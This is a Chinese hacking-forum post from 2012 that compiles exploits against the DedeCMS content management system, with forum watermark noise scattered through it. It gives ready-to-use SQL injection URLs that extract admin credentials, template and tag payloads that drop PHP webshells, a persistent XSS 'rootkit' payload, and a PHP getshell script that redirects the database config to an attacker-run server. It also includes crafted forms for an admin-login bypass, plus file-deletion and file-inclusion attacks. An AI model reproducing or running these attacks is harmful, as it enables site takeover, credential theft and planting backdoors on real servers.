找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3015|回复: 0
打印 上一主题 下一主题

dedecms漏洞总结

[复制链接]
跳转到指定楼层
楼主
发表于 2012-10-18 10:42:14 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

8 M, }5 D% i; ]' t# w. mDedecms 5.6 rss注入漏洞0 ?, ^' e6 @" |9 E5 {
http://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1; q% O" h6 n! L4 N& h. e2 h6 v

6 c. N/ G+ B- S2 a+ A
& z& h5 ?3 A2 l, Y7 V" u6 m6 y' q+ ?/ j2 J- _& ?
2 g  |" |% t# b& s# S
7 p: W  [( N% q7 k

" c  N3 m6 c+ \! f- h1 ?7 Z) K/ {( o. Z* ^' S* x
$ P8 ?. y" `+ |3 P; q4 q
DedeCms v5.6 嵌入恶意代码执行漏洞4 z2 U# W2 a0 E. z  P2 M
注册会员,上传软件:本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
, q0 R4 H. g# p发表后查看或修改即可执行
/ c0 D! X, Q# f. Ya{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
) F% r3 h& l0 J% d生成x.php 密码xiao,直接生成一句话。, U5 ^9 Q+ A/ x; @) C% J
/ o  U! \4 w: i4 O5 x: j

) y" w7 c' g6 Q; l, n: u3 w. D- J, D3 X, M
/ ~7 p/ g, @4 q4 o8 A

' P7 a8 Z% ^- w- d8 S
& L1 E+ o' S2 M9 ]6 b- _: C
9 @8 A- o, l/ |3 @+ n' L% L/ K
Dede 5.6 GBK SQL注入漏洞* J4 s' _; H8 ^0 u
http://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';& j$ h7 f3 g" [$ s; H/ b. o
http://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
! I" h( s# w4 w& {, `http://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7
8 c" K, X# X# c- E% v
9 W" M  u- n/ J
9 ^& S1 b% d; H! M) p
+ w6 i$ |# G0 @* o& D: Z4 g+ [  L. J- J9 D, `9 o# @

. d4 j! o1 ^5 o7 e) m3 u
! S4 u5 Y' {. r" O! e2 k0 c
" I. _5 V; ?9 A- _5 T
8 P( F+ C5 N( W# a9 EDedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞! M! C6 I* Z3 l: y  H
http://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
9 n8 u8 @5 H1 a7 \" D( O; |- Q" D! M: E7 N

. u  r+ g! [+ [$ t& r1 x6 r" l/ Q6 t- m

  d8 S! p+ G2 e/ |2 |
, {7 t; N5 w- ?  r5 f' ^% {- k. h: h
DEDECMS 全版本 gotopage变量XSS漏洞$ Q3 g. t, t$ @
1.复制粘贴下面的URL访问,触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞,需关闭XSS筛选器。 . ?) C* d6 p' \. J
http://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="! _' @4 ?: D, g* o* t

$ T. x5 k- k9 |, @) x6 l
% D) m; |& A6 c$ s* ?& V3 U- ]% |, o/ \2.关闭浏览器,无论怎么访问下面的任意URL,都会触发我们的XSS。 7 M8 A9 e8 }: M8 A
http://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda
# Q# W, Y  U2 p  M; @: f2 A6 {5 P1 B! }; H6 X

8 x# d! K+ N' u, j" K& Xhttp://v57.demo.dedecms.com/dede/login.php- L& f# @: j) B' K' H0 `: u

% {' G5 v" m0 U% W6 {, P  O8 J
5 n+ C% v8 k( H1 k+ Xcolor=Red]DeDeCMS(织梦)变量覆盖getshell3 p7 L2 X! u% |& g' q0 m
#!usr/bin/php -w% O$ F/ h. L$ l' V2 \1 m
<?php
/ S0 k* E: N* g& p. e( t8 X: Aerror_reporting(E_ERROR);
1 i" y1 M* Y7 w; Mset_time_limit(0);+ p: B6 U7 v7 H0 I; V
print_r('
0 J# `, D( B" c( I2 HDEDEcms Variable Coverage8 k7 o! {3 S: a3 B, F5 r
Exploit Author:
www.heixiaozi.comwww.webvul.com2 Z1 W" E* J3 m: V/ ?+ E* E
);8 F  C8 {, d0 E) }
echo "\r\n";
( ~! O, k, ?. D- Nif($argv[2]==null){
5 C& n( h* S( k$ ^  _/ Oprint_r('/ l6 y7 `# O- |5 m
+---------------------------------------------------------------------------+2 c( D0 N  @" G) ]' I
Usage: php '.$argv[0].' url aid path( P$ F! [8 |% |7 e; ?5 E, X. @
aid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
7 g/ ~7 b4 x1 e  J5 FExample:/ V; K0 h. F1 E$ B3 {) g& M$ j
php '.$argv[0].'
www.site.com 1 old
. D+ C6 C9 l  P" i" G: C$ ]2 m+---------------------------------------------------------------------------+
% s8 B2 M6 j( c4 R- V, o% ^');% o& c0 b+ C1 @) K  I. u) T# W" l2 m
exit;; u/ ~$ B* f- U) p1 f! c2 b
}
& j! R( y: L$ r: g+ x! r$url=$argv[1];
" w2 j8 o# k) V; L5 J2 V7 r4 {: v$aid=$argv[2];
6 m- x9 V7 h. m  n) Z$path=$argv[3];8 `7 U: ~. d# p. Q& s
$exp=Getshell($url,$aid,$path);" M1 V7 j7 E! e+ S/ @6 ~' X
if (strpos($exp,"OK")>12){- h- n7 s$ X+ W" e
echo "
+ B, `! J* L( y! rExploit Success \n";
8 N1 L; Q- x# |6 eif($aid==1)echo "; O( ~# U- u6 g1 G# r' ]
Shell:".$url."/$path/data/cache/fuck.php\n" ;
( ]0 y  `, t$ Z7 B  Y# \
0 j: @% h3 |1 c  H# b- ^, N3 R3 r4 {6 ?6 w  m! o
if($aid==2)echo "
0 V% S7 ^- e7 j. h! i' cShell:".$url."/$path/fuck.php\n" ;
2 N% q' G$ ?0 b& w' f. l3 F; S0 c8 k/ W/ V
8 I; u: G2 V$ U# g8 B' h# u* W
if($aid==3)echo "& ]9 m* `2 l. ?, ^" h9 _0 F
Shell:".$url."/$path/plus/fuck.php\n";5 L, I" z/ M1 u& _, }2 \: c' C. m

. X. F7 q! Z/ N* A1 h3 S* d# m! _7 @3 g1 i7 R- w# {
}else{
  [- P9 X0 ~2 ~2 u% o6 becho "
, C, }* ?: m8 UExploit Failed \n";! n; A* h( c& w, S, J+ v0 i
}  s, h( R2 H' L; m+ b# ?) [0 q
function Getshell($url,$aid,$path){7 r7 n5 D, X# z  F- X
$id=$aid;
# D4 g1 d/ i9 B( I3 P/ l$host=$url;$ e$ D4 a, y4 Z* m2 L
$port="80";+ w$ |, N" F# V. ^7 [  r# }
$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";5 @6 q3 P+ V% Y3 V: f
$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";, d+ {5 g  {0 M) H
$data .= "Host: ".$host."\r\n";  D4 a1 N* w9 q
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";/ v% D  |/ p3 J" i  f% K
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";- o+ Y) M5 _/ u, f4 `& F, M' y$ Y- p
$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
1 t; Q# R7 g) J& x$ ~//$data .= "Accept-Encoding: gzip,deflate\r\n";, ^! l$ \0 C9 q* S& G. s% S" y
$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";0 B9 G5 ~$ B* N/ h! o
$data .= "Connection: keep-alive\r\n";
& \; f5 P3 o4 o) K* k6 k5 g0 w$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
& C! `% ^, a4 R  e# k; u% X/ E, s$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
# h) h  d* e( l& d$data .= $content."\r\n";, X( `9 |* K0 Z0 a0 W$ k
$ock=fsockopen($host,$port);. l5 }3 ]5 ?# N0 w: f
if (!$ock) {
% W" Q& [' N; ~2 lecho "
% a( ^* J6 l. V& X- ONo response from ".$host."\n";
& M. P# ^9 i& x" @" i}
; R% N; f" c7 @9 O& A, Wfwrite($ock,$data);
# j, o7 D/ k, D" ]; f; o% E1 z4 _while (!feof($ock)) {8 R" b3 H- D6 g" c
$exp=fgets($ock, 1024);2 z2 i3 V/ D$ h4 B9 X
return $exp;
" y: A4 \: k9 J: ?; Y}4 x/ C9 o" a0 A4 X
}
! p0 B2 F) `( Y! s" Q" r0 t3 y( ~% t& _. x
7 `+ e5 U( O  C8 K. M2 O
?>2 j( k" q8 l% Y9 }8 V7 f

& t7 D; W9 U$ S/ H  O4 _# w3 H7 ?. ]; J
- m: n; D# j3 M: z; U6 B

  d* z) s+ L( `8 k
' R1 k0 ~8 x; v$ `/ J6 f/ H1 U; I9 a0 Y( }( e4 |% a+ L4 I3 f
; Y* x8 P7 @/ B' K- Q. A

, k' {" q* {3 T
7 \3 S4 S( o$ ^
5 m' T0 C6 V; [: Q  ]% aDedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
& M  W+ A. p8 a
http://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
; z- x2 K$ ~. m& h6 t4 S% S$ n! {5 }
* K% G, }% [3 i; [
把上面validate=dcug改为当前的验证码,即可直接进入网站后台
/ O# Q) Z: K+ M
* S7 d8 L* _1 n. g, o/ ?+ e# r% S* r7 I% ^5 j  ]/ W! B
此漏洞的前提是必须得到后台路径才能实现
7 n2 V) H/ w/ d. T
  A/ X$ O4 b8 E6 q' T4 F1 H4 ?+ j- |" ]: }

% O9 y  l# Y- Y7 `# P) q. h, ?0 K; d6 O. j

0 W6 g1 m* a( C, {9 H+ u3 i# o# Y0 B

! {/ U$ ^9 o( `
8 L! k, C8 E8 O5 n$ o  b6 }0 G: d! E! C0 B. g: n  G8 |2 t. G: x

0 e7 c) ~+ l  C2 MDedecms织梦 标签远程文件写入漏洞0 I  l* I1 y3 V. g, e3 `+ D+ z
前题条件,必须准备好自己的dede数据库,然后插入数据: insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');: P% L1 _- m4 I$ h

8 N$ _0 c" z8 ~4 J" g+ v& R( B8 f! E6 I4 M3 A& p
再用下面表单提交,shell 就在同目录下 1.php。原理自己研究。。。
( S. U. [/ M. x! b  O4 G7 ^<form action="" method="post" name="QuickSearch" id="QuickSearch">
! ?9 p- J  K  l: X- t<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
% `8 _3 ^8 v: H, k/ _, O! M<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
" s3 i+ N  X* W% `; `4 d<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
3 ~" e/ K, Q4 k2 p  u7 B<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
9 R5 a$ S  n/ L) Y+ f" C; V6 ?<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />$ y3 U/ j; o" m
<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
* [) P9 G, y  D8 m" r( w7 u9 H<input type="text" value="true" name="nocache" style="width:400">
( M2 M# ]' ]1 m( v, y<input type="submit" value="提交" name="QuickSearchBtn"><br />
& X8 C  j, Q: q</form>
7 _# {  m4 C& F- L& h% Q<script>8 @. S, {( _3 p1 I0 e5 ]& S% N& \
function addaction()
/ r0 T* c5 a3 Q2 b{$ B' S! [2 ^5 e- V* b* z
document.QuickSearch.action=document.QuickSearch.doaction.value;+ M) |( J+ B' I4 C* {
}
$ I" d. b. R2 x( N* E. [' @+ G</script>; ?4 D8 H( p5 P

! a+ X4 u' N, h5 m! E
: V, q( i; B/ W2 f  |! I; m) y6 i% M
+ a  e* x- c7 A' M* V3 i+ w" J
# W$ O# S2 w2 Z# c1 k" ^  f  j& C; G3 t/ V
% l+ \! x& }  M  w( L( O" {

& {2 {, L! ^' F* [' @0 m3 ]3 e4 @2 [: g, E. f+ ]7 S2 z
2 i0 X. P5 H7 h/ e- z! z5 @

6 @: b. s; T+ }& h2 v: O- @DedeCms v5.6 嵌入恶意代码执行漏洞
3 x2 L8 ~1 @  S4 ^' _注册会员,上传软件:本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57},发表后查看或修改即可执行2 s/ u+ n8 l5 f* x
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
( ^6 N5 g/ i+ V4 t5 x/ T$ Z5 ?" B生成x.php 密码:xiao直接生成一句话。密码xiao 大家懂得
! o5 {; B" b) R, u, {6 i0 n6 d: }Dedecms <= V5.6 Final模板执行漏洞
7 |; Z9 G  Q/ P0 b9 Y" a注册一个用户,进入用户管理后台,发表一篇文章,上传一个图片,然后在附件管理里,把图片替换为我们精心构造的模板,比如图片名称是:( \$ M6 a/ P& e% ^8 f6 ]3 j" N
uploads/userup/2/12OMX04-15A.jpg: f. ^- `0 T* S' X# S2 ?+ `

/ X# U. D/ W' s) u( \& _) t  E% c2 x# s' Y! C# v9 m7 B& v
模板内容是(如果限制图片格式,加gif89a):
) G% e* h, [4 m, [! X. Q- Y{dede:name runphp='yes'}0 l  \, s( o9 i8 t+ }; Z- y
$fp = @fopen("1.php", 'a');
7 M1 U2 P+ ^9 T7 n# Q@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
/ X& n5 {3 x6 ?( B! e- E4 ]2 e& s! E@fclose($fp);
, d# b& U+ N8 z2 ]{/dede:name}  M! u; r& @- X% W6 S
2 修改刚刚发表的文章,查看源文件,构造一个表单:
. X" o/ @2 v# y9 {4 b- M; v# l<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
, E$ g% Q7 @0 ?" d  ^6 {1 }<input type="hidden" name="dopost" value="save" />
4 g; K# x' P2 n/ I! t5 o: Z<input type="hidden" name="aid" value="2" />9 g3 K. }1 A9 S
<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />5 d5 s# e. F  [$ l
<input type="hidden" name="channelid" value="1" />
* p# r. U( ?% B  v2 y/ W& B<input type="hidden" name="oldlitpic" value="" />3 P  ]! R& \4 k! y$ }
<input type="hidden" name="sortrank" value="1275972263" />
! E4 O7 ?: F' v0 |* e
2 F. R1 S; @$ I% w4 T* }0 o4 G* n. w$ ^$ n/ s' u0 y' u
<div id="mainCp">1 \2 s. m: z, N' s+ `7 w3 k
<h3 class="meTitle"><strong>修改文章</strong></h3>* n" ~+ V6 q( \: m' _

% `; ~  O: {) {- |
/ f" z% @+ q, y0 [<div class="postForm">! R, F8 T# s& N1 n8 v( @
<label>标题:</label>
6 f1 C9 ?6 o1 `' r<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>" T; e1 w9 z* [& [- ^- s

' s/ j& b, s# E1 z6 j
6 ?5 a8 @% t( l3 A) D+ r) `<label>标签TAG:</label>" ?' C( |. v) t+ L/ f4 ^/ r
<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开), {: d* l8 i( h. K- G( X

2 |( N9 L4 B3 N" W8 W& i) t7 r3 m+ _) _* T
<label>作者:</label>7 I! D2 O( B+ B
<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>! q( y: D1 V7 g( a6 A& @

8 S1 |' d4 ^1 \3 _1 i- v7 {4 X
" |1 @2 t7 u, @/ P* Y<label>隶属栏目:</label>
/ W6 A3 e9 ^1 `" f( v<select name='typeid' size='1'>$ x1 X- B* N* a) Z% u- i; b
<option value='1' class='option3' selected=''>测试栏目</option>  B% \* M# W: I. y1 v! d, S* e, K
</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)4 c, {' v  ]% V1 o3 K6 l3 m

6 [+ h% v5 v1 R6 Q
, }0 K" M# Y, G<label>我的分类:</label>0 E* |! Q: N0 w' O5 N* [
<select name='mtypesid' size='1'>
9 e' N7 z7 P% _<option value='0' selected>请选择分类...</option>1 A7 O7 Z; `" g# i, ^, f
<option value='1' class='option3' selected>hahahha</option>
9 ]) m$ q# f) X( k</select>
- N: t# V7 G) ]9 X* x" \! X6 T1 S9 ?* V
$ p. ~* c. W6 `! i- d" e1 l
<label>信息摘要:</label>( L8 `: q- w, q4 R
<textarea name="description" id="description">1111111</textarea>. \6 Z3 P6 m$ X/ {4 f
(内容的简要说明)& K$ n& G5 r! E2 O' g0 l9 e
* V3 H4 V- G  L+ o! P7 a
/ d: h+ r' V2 I  p  Z
<label>缩略图:</label>
' M0 J8 ~. K2 y, f<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>% n1 u7 E% J7 p# G; j' u

* F( s4 s# B8 {$ G
: F6 q! a( |" B) S' W0 g<input type='text' name='templet'
" H$ j) `- e0 T8 ~, D2 pvalue="../ uploads/userup/2/12OMX04-15A.jpg">
7 U. P7 u, k2 s+ q4 o9 x<input type='text' name='dede_addonfields'' Q4 ?/ b. H1 v' B  l6 Y
value="templet,htmltext;">(这里构造)
( ?  z' n( l. m6 K0 l( n$ }</div>* N! V! e! d2 M" {  c0 V

, A5 ^5 u' ]  B! \9 y. P, k# v5 m2 \" V6 `  m2 K" g$ G
<!-- 表单操作区域 -->
# ]+ R/ O% N  @" B# t<h3 class="meTitle">详细内容</h3>
0 I/ k/ p9 E  j, `  e' B
' X1 H# y$ s, M% n' m7 \- E+ ^
) s9 |$ r- l1 y0 W9 y5 g<div class="contentShow postForm">
3 I2 u+ |. V# m: j! q7 k4 |<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>; }2 {; U5 H+ Z" _

* S, h  S2 `; v. C  H3 ], R* O& a5 H; E$ U
<label>验证码:</label>7 P9 H; i, A' G; p4 X. y
<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />2 W7 I4 D, p5 X" U: ]* @
<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清?点击更换" align="absmiddle" style="cursor:pointer" />
1 O% _6 |! c- ^, l* y5 y" l0 A
* z: N  D( g! h) g
- t4 r6 h5 |/ E% m<button class="button2" type="submit">提交</button>9 K1 s/ X6 h- u8 E+ w7 `& u, O
<button class="button2 ml10" type="reset">重置</button>9 [4 ~' D0 _1 F( f
</div>
) D9 M6 R1 }$ `2 F( a" Q9 [
, I; w; j' y2 a3 \+ P
8 e/ q: N1 O- k9 [9 I  S, o</div>4 N0 V) K/ e! B
0 r" b$ ~' A( c2 J3 B9 C, D9 d

- V3 h& P2 v. v% f. h, l1 |</form>. |& i2 B) E$ f* I) C$ z+ E) O
3 j3 Q8 H& J6 l  R" E( w% d3 D
4 t, M; N4 M# h( M# T& z7 W
提交,提示修改成功,则我们已经成功修改模板路径。 3 访问修改的文章:; c( }2 ^. f9 K/ V# g% ~
假设刚刚修改的文章的aid为2,则我们只需要访问:
. H! j" A5 G5 D, C6 ?. x2 |
http://127.0.0.1/dede/plus/view.php?aid=2
+ h2 Z- n6 D5 V% c5 h即可以在plus目录下生成webshell:1.php  u3 i, x4 y/ B
1 p! R% |& V: C- w; W; U- I

- B: }) I! q# b5 A2 |- b* T0 y+ \
) T7 y2 K) O' g
9 c" c* O; |( ^3 Y; N% j
$ z9 f& S7 b0 L+ ?6 E9 N1 v* t2 s/ q4 x
8 _) g! D0 `, M+ t7 f# f) w* F

4 n; _% B% i& k/ z/ N! m- X# U# s1 U' m3 e, O
7 v& \0 v" e+ f/ n8 w0 Q+ s

1 b0 h1 S# \4 O9 j: r7 t( }8 g, z; s9 h
- r& h$ {' F# N2 TDEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
& A0 @0 r4 N4 R9 H, \0 R% \5 JGif89a{dede:field name='toby57' runphp='yes'}
+ |9 D; m9 Z3 k$ ^$ I# e  l. Bphpinfo();8 S7 s' I8 Y6 a; ?( h
{/dede:field}- A* j8 E  E- c; b* U
保存为1.gif9 o- M3 o% {8 U0 {7 N
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
( J3 H. _' ^9 P  I2 x<input type="hidden" name="aid" value="7" /> ' x. U8 ~  W2 `" d
<input type="hidden" name="mediatype" value="1" />
4 ~5 A( J" O3 `6 U0 q2 q) a<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
4 C& G( E9 i5 K: y<input type="hidden" name="dopost" value="save" /> ( Q; ?3 B7 C  j. h3 N
<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>   U+ {/ u* N7 m6 A0 d+ F: L
<input name="addonfile" type="file" id="addonfile"/>
% V) A; l9 M* o2 C<button class="button2" type="submit" >更改</button>
4 k0 x) K  q$ ~! t9 M# L2 _; h1 M3 u</form>
# B6 R5 h) t2 I! N9 d# w& J) c$ i; g& \$ K% A4 ^9 o' N0 R2 d

0 s3 }1 v; `+ \2 ~' q构造如上表单,上传后图片保存为/uploads/userup/3/1.gif" N# |! d# V  w
发表文章,然后构造修改表单如下:8 w9 x/ P7 J, F+ b1 m
# Y$ r3 j+ f1 q( K8 `

2 V: Q/ k- l+ G% ~, B2 j<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
% h2 k9 v6 O  `; x<input type="hidden" name="dopost" value="save" /> # ^3 o- f0 V# L. s- A% d
<input type="hidden" name="aid" value="2" />
9 ]4 L, i) V7 \$ S0 C<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />   u3 ]! y# j2 Q' u1 q
<input type="hidden" name="channelid" value="1" /> 6 S, A! p+ z6 O; v9 }- U0 e" A
<input type="hidden" name="oldlitpic" value="" />
+ N* P4 p. d9 W. G5 V, `<input type="hidden" name="sortrank" value="1282049150" />
  t4 x- i( X  T5 k( t<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
0 q: ~) n) J& ?<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/> 3 n6 B# {( j9 }- m/ w7 ~) }( b! z0 A
<select name='typeid' size='1'> 2 [1 ?1 s" J* G: y8 g
<option value='1' class='option3' selected=''>Test</option> . x5 y8 L1 O, Q9 @+ L+ {1 o
<select name='mtypesid' size='1'>
% J; r7 ?/ q, ^0 w<option value='0' selected>请选择分类...</option> $ ~. u4 U% J8 ]3 O5 \
<option value='1' class='option3' selected>aa</option></select>
3 o0 [4 I' @- S- d* k<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
! T  b. `! Y: x1 S7 d8 y<input type='hidden' name='dede_addonfields' value="templet">
) v  t# l% }; L- ~0 S<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
% e2 J8 V0 B% N+ D4 o0 p* z6 ~: j<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
& n+ j" n4 u9 F! n$ c+ a<button class="button2" type="submit">提交</button> ; W% g* a4 B3 }+ K7 K: Z- R; _
</form>
, G, G$ v! I! q6 V5 y* z0 y
- A5 }  w: K$ c, C' S( b( g
  G8 ^0 M5 t- x3 f! }1 v
4 m. G+ j$ v9 ~1 \( l/ l7 \0 |$ b* m# |8 f

7 M/ [$ R7 J) S& X
3 V5 S* t2 L3 Q, `7 S
; M5 W! ~: I/ U5 ?+ d: z$ U
* w. o2 @% F$ ?! }1 L( K0 |1 d1 J! m3 b9 H
! {3 }: o$ A+ b
/ O3 p7 M8 C* Q( D( H( n" {

' ?- I) a0 h* l8 h( b! @9 y; c织梦(Dedecms)V5.6 远程文件删除漏洞
5 z; `/ R$ F% B& A. U
http://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif
6 r3 Y- e* x+ `! _6 R% u7 m% Q
: W: N& ~2 m  R' r8 P
8 ?6 @( ^2 S4 O$ U  r2 G7 k/ [) G' t1 r8 k+ a
! S2 T- u* q# M' h

" D5 V4 a/ V( o" g7 b* b# S4 D9 x  L' X6 x8 [2 i0 Q

% s/ @( b# O, G  g1 d  I! ]+ u$ y
9 Q# T* n# h3 y8 Y# X- g5 B) S4 t* V' D% j& M( j) d0 [

& P1 V  D) n8 m8 u# E) I5 z7 b织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
1 V' R& q4 a, n' _3 T# ~6 J
http://www.test.com/plus/carbuya ... urn&code=../../
7 G  N5 e+ b4 \# U/ Y2 {3 l$ @" E
/ u! [, y6 x( o: Z. Y- k, B' T: P1 ?$ W; o8 F

' x: C* s$ F2 x3 i  ^  P6 C: T
1 F8 f# J- ?/ X) M$ A! E4 x+ M2 |8 \2 t( ]
; M, k5 {+ t/ I; S
# @" W  g, b" Z5 j: R" I. [8 V

1 z4 X7 r4 I; S
, f) D; g. l) [( n. [! h3 e) V9 J! J
DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
! G3 I. E; |; d( K& Y4 uplus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`* I, q( |' M6 e7 U! n' G
密码是32位MD5减去头5位,减去尾七位,得到20 MD5密码,方法是,前减3后减1,得到16位MD5$ N2 L# |6 K. O1 r& b

! G0 P$ j* @  [# ^
5 P0 T% o  Z- t8 d2 D  u) R
/ \1 f& Q8 T& N1 c6 n  M' T
/ p6 X3 J/ G* T0 u1 ?3 o! v8 t4 H1 Q- I1 ^' L% ?9 n) U

. n. M! r3 B7 C! P9 M" _7 X& O
+ x. s+ w# B9 |+ n1 v/ {) t4 X: [& ~
) w! Z4 F; l# x- C! V. w; I! |
' \1 k7 }" U) @/ p/ I4 A* F9 j  T6 x
织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
4 M- M1 R1 @- P6 y2 A! K3 b/ o* p; Zhttp://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='1 z) w+ ~5 q+ X, E4 z8 d

6 a% w  Z5 P3 e4 S, f; p* i; m+ Z0 j
- b0 \5 z! x9 W9 [
9 p2 t4 E' f' x2 K$ s

) d  m% A$ ]5 O' }# O! v. a3 {5 e" u

% T9 o& b( n8 ?" C
